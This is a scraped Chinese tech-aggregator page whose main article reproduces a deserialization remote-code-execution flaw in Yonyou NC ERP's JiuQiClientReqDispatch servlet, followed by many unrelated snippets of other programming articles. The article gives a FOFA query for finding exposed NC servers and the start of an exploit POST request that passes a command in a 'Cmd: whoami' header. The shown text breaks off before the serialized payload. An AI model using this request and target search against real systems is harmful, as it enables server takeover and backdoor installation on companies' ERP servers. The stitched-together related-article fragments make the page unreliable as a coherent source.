当前位置： 首页 > news >正文

用友NC JiuQiClientReqDispatch反序列化RCE漏洞复现

news 2026/5/12 2:49:17

0x01 产品简介

 用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。

0x02 漏洞概述

  用友 NC JiuQiClientReqDispatch 接口存在反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

0x03 复现环境

FOFA：app="用友-UFIDA-NC"

4b4ae218e3ea4146b47d31168a7af2a9.png

0x04 漏洞复现 

Exp

POST /servlet/~ic/com.ufsoft.iufo.jiuqi.JiuQiClientReqDispatch HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML

相关文章：

用友NC JiuQiClientReqDispatch反序列化RCE漏洞复现

0x01 产品简介 用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。 0x02 漏洞概述 用友 NC JiuQiClientReqDispatch 接口存在…...

编程日记 2023/12/6 4:58:10

Linux：docker镜像的创建（5）

1.基于已有镜像创建 步骤： 1.将原始镜像加入容器并运行 2.在原始镜像中部署各种服务 3.退出容器 4.使用下面命令将容器生成新的镜像 现在我们在这个容器里做了一些配置，我们要把他做成自己镜像 docker commit -m "centos7_123" -a "tarr…...

编程日记 2023/12/6 4:56:08

数据结构与算法-D2D3线性表之顺序表

线性表：包含若干数据元素的一个线性序列，特征如下： 1）对非空表，a0是表头，无前驱； 2）an-1是表尾，无后继； 3）其他元素仅且仅有一个前驱，…...

编程日记 2023/12/6 4:54:06

01_W5500简介

目录 W5500简介： 芯片特点: 全硬件TCPIP协议栈: 引脚分布： W5500简介： W5500是一款高性价比的以太网芯片，其全球独一无二的全硬件TCPIP协议栈专利技术，解决了嵌入式以太网的接入问题，简单易用&#xff…...

编程日记 2023/12/6 4:52:05

异常 Exception 练习题 （未完成）

异常 Exception 练习题 try-catch异常处理1234 异常1（没有自己写）234 try-catch异常处理 1 class Exception01 {public static int method() {try {String[] names new String[3];//String[]数组if (names[1].equals("tom")) {//NullPointe…...

编程日记 2023/12/6 4:49:00

Linux系统编程：并发与信号总结

并发 并发是指两个或多个同时独立进行的活动。在计算机系统中，并发指的是同一个系统中多个独立活动同时进行，而非依次进行。 并发在计算机系统中的表现： 一个时间段中有几个程序都处于已启动运行到运行完毕之间，且这几个程序都是…...

编程日记 2023/12/6 4:47:59

Jmeter 接口-加密信息发送（一百九十九）

方式1：使用函数助手 比如MD5加密方式： 如图，需要对${user}进行MD5加密 1、打开函数助手，找到MD5，输入需要加密的值 2、将${__MD5(${user},)}放到请求中 3、查看请求，请求成功 方式2：导入jar包…...

编程日记 2023/12/6 4:43:55

微信小程序nodejs+vue+uniapp视力保养眼镜店连锁预约系统

作为一个视力保养连锁预约的网络系统，数据流量是非常大的，所以系统的设计必须满足使用方便，操作灵活的要求。所以在设计视力保养连锁预约系统应达到以下目标： （1）界面要美观友好，检索要快捷简易…...

编程日记 2023/12/6 4:41:53

掌握Vue侦听器(watch)的应用

文章目录 🍁watch 的优缺点🍂Watch 优点🍂Watch 缺点 🍁watch 的用法🍂对象式 watch🍂函数式 watch 🍁代码示例🍂监听基本数据类型🍂监听复杂数据类型（Object…...

编程日记 2023/12/6 4:39:52

SAP-PP:PP顾问管理系统的相关建议

本博客将探讨生产计划领域的控制要点。这将有助于减少仓库库存不准确情况，因为库存不准确会导致实物库存、发货、成本核算和计划方面出现许多效率低下的问题。 在物料主数据关键字段中，必须配置计划交货时间、GR处理时间、内部生产时间、计划交货时间&a…...

编程日记 2023/12/6 4:37:50

Unity资源路径与读取

Unity资源路径有： 1、StreamingAssets：只读，一般用于存放应用程序运行时需要加载的资源文件，可以通过Application.streamingAssetsPath来获取。 2、PersistentDataPath：可读写，一般用于存放应用程序运行时…...

编程日记 2023/12/6 4:36:49

“大+小模型”赋能油气行业高质量发展

近日，中国石油石化科技创新大会暨新技术成果展在北京盛大举行，九章云极DataCanvas公司携油气行业一站式AI综合解决方案重磅亮相，充分展示了公司助推油气行业实现AI规模化应用深厚的AI技术实力和领先的AI应用水准，赢得了行业专家和…...

编程日记 2023/12/6 4:33:46

【win32_004】字符串处理函数

StringCbPrintf 函数 (strsafe.h)：格式化字符串 STRSAFEAPI StringCbPrintf([out] STRSAFE_LPSTR pszDest,//目的缓冲区 LPSTR指针或者数组[in] size_t cbDest,//目的缓冲区大小[in] STRSAFE_LPCSTR pszFormat,//格式 例如： TEXT("%d&…...

编程日记 2023/12/6 4:32:45

如果不小心修改了按钮的名字并且忘记了原名字

出现上述情况，可以右边点击转到代码，注释掉问题行，此页的设计界面就恢复了。...

编程日记 2023/12/6 4:31:44

opencv阈值处理

阈值处理 二值化 自适应阈值 OTSU二值化...

编程日记 2023/12/6 4:30:43

html之JS

1、JS的引入 <!-- 内嵌 --><!-- <script>alert(4)</script> --><!-- 外引 --><!-- 内嵌和外引同时有的时候&#xff0c;内嵌被覆盖 --><script src"js/index.js" defer></script>//defer 延迟执行 2、js的变量使用…...

编程日记 2023/12/6 4:29:42

SQL Server的安装和首个库的创建

一、熟悉SQL Server的安装环境&#xff1b; 1.安装Microsoft的数据库管理系统SQL Server 2022 先把SQL Server 2022下载好后进行解压后出现以下界面然后点击基本进行安装 然后会出现以下界面&#xff1a; 一步步按照提示往下走即可&#xff0c;把SQL Server 2022安装完成后再…...

编程日记 2023/12/6 4:28:41

STM32下载程序的五种方法

刚开始学习 STM32 的时候&#xff0c;很多小伙伴满怀热情买好了各种设备&#xff0c;但很快就遇到了第一个拦路虎——如何将写好的代码烧进去这个黑乎乎的芯片&#xff5e; STM32 的烧录方式多样且灵活&#xff0c;可以根据实际需求选择适合的方式来将程序烧录到芯片中。本文将…...

编程日记 2023/12/6 4:27:40

基于springboot + vue大学生竞赛管理系统

qq&#xff08;2829419543&#xff09;获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;springboot 前端&#xff1a;采用vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xf…...

编程日记 2023/12/6 4:25:38

【详解】Spark数据倾斜问题由基础到深入详解-完美理解-费元星

数据倾斜定义&#xff1a;顾名思义&#xff0c;就是大量相似或相同数据聚集在一个块的节点里&#xff0c;导致计算和资源分配不均导致的计算缓慢&#xff08;长尾&#xff09;问题。 数据倾斜原因&#xff1a; count(distinct field) group by NULL 空值 Shuffle (概率最…...

编程日记 2023/12/6 4:23:37

FPGA/CPLD数字系统设计实战：从器件选型到调试验证的工程指南

1. 从一则行业趣闻聊起&#xff1a;FPGA厂商的“江湖地位”与我们的设计选择前几天翻看一些老旧的行业资料&#xff0c;偶然间又看到了这篇2012年来自EE Times的“陈年旧文”。文章作者Clive Maxfield用他标志性的幽默笔调&#xff0c;聊了一个看似无厘头的话题&#xff1a;将科…...

编程新知 2026/5/12 2:19:16

NVIDIA aicr：AI容器运行时核心原理与生产部署指南

1. 项目概述&#xff1a;当AI遇见容器运行时如果你在AI开发或者高性能计算领域摸爬滚打过一段时间&#xff0c;大概率会遇到一个让人头疼的问题&#xff1a;如何高效、稳定地管理那些“胃口”巨大、依赖复杂的AI工作负载&#xff1f;从训练一个大型语言模型到运行一个实时的计算…...

编程新知 2026/5/12 2:09:26

Tarjan算法：从DFS序到强连通分量的寻路指南（附C++实战与缩点技巧）

1. 从迷宫探索到强连通王国&#xff1a;Tarjan算法的生活隐喻 想象你正在探索一座巨大的迷宫&#xff0c;手里拿着粉笔和记事本。每走到一个新的岔路口&#xff0c;你就在墙上标记数字&#xff08;第一个到的路口标1&#xff0c;第二个标2...&#xff09;&#xff0c;这就是DFS…...

编程新知 2026/5/11 23:49:50

NVIDIA显卡终极调校指南：用Profile Inspector释放游戏潜能的简单方法

NVIDIA显卡终极调校指南&#xff1a;用Profile Inspector释放游戏潜能的简单方法 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 还在为游戏卡顿、画面撕裂而烦恼吗&#xff1f;NVIDIA Profile Inspect…...

编程新知 2026/5/11 23:27:59

硬件工程师实战指南：工业物联网安全、无线充电与TSN网络设计解析

1. 项目概述&#xff1a;一场面向硬件工程师的线上技术盛宴最近在整理行业资料时&#xff0c;翻到了EE Times几年前发布的一个“即将到来的线上技术活动”汇总页面。虽然发布时间是2018年&#xff0c;但里面提到的几个技术主题——工业物联网安全、硬件身份认证、工业以太网演进…...

编程新知 2026/5/11 23:03:30

碧蓝航线Perseus补丁：零偏移设计实现全皮肤解锁的终极指南

碧蓝航线Perseus补丁&#xff1a;零偏移设计实现全皮肤解锁的终极指南 【免费下载链接】Perseus Azur Lane scripts patcher. 项目地址: https://gitcode.com/gh_mirrors/pers/Perseus 在碧蓝航线这款广受欢迎的海战游戏中&#xff0c;玩家们常常为那些精美的限定皮肤只…...

编程新知 2026/5/11 22:12:22

SAP资产会计进阶：深入理解AS91、AB01与ABLDT在期初数据处理中的角色与联动

SAP资产会计核心事务代码解析&#xff1a;AS91、AB01与ABLDT的协同逻辑与实战应用 在SAP S4 HANA资产模块的实施与运维中&#xff0c;期初数据处理往往是项目成败的关键节点。不同于日常资产操作&#xff0c;期初数据迁移涉及历史价值追溯、折旧逻辑重建以及多系统数据对齐等复…...

编程新知 2026/5/11 21:08:24

绝地求生罗技鼠标宏实战指南：5步实现高效压枪技巧

绝地求生罗技鼠标宏实战指南&#xff1a;5步实现高效压枪技巧 【免费下载链接】logitech-pubg PUBG no recoil script for Logitech gaming mouse / 绝地求生 罗技 鼠标宏 项目地址: https://gitcode.com/gh_mirrors/lo/logitech-pubg 对于《绝地求生》玩家来说&#xf…...

编程新知 2026/5/11 21:03:34

FPGA上做图像压缩，别从零造轮子！聊聊DCT那些开源IP核与设计技巧

FPGA图像压缩实战&#xff1a;DCT开源IP核选型与架构优化指南 在嵌入式视觉系统开发中&#xff0c;JPEG图像压缩是FPGA工程师经常遇到的需求场景。当项目周期紧张且资源有限时&#xff0c;明智的开发者会优先考虑利用经过验证的开源IP核&#xff0c;而非从零开始实现离散余弦变…...

编程新知 2026/5/11 20:47:47

告别砖头：GD32 BootLoader设计中的Flash分区与地址规划实战指南（含IAR/Keil工程配置）

GD32 BootLoader架构设计与Flash分区策略实战 1. 理解GD32 Flash存储特性与IAP基础架构 GD32系列MCU的Flash存储结构呈现出典型的非均匀扇区分布特征——前4个扇区为16KB&#xff0c;后续扇区则扩展为64KB。这种物理特性直接影响了BootLoader设计的核心逻辑。不同于传统均匀分…...

编程新知 2026/5/11 20:19:52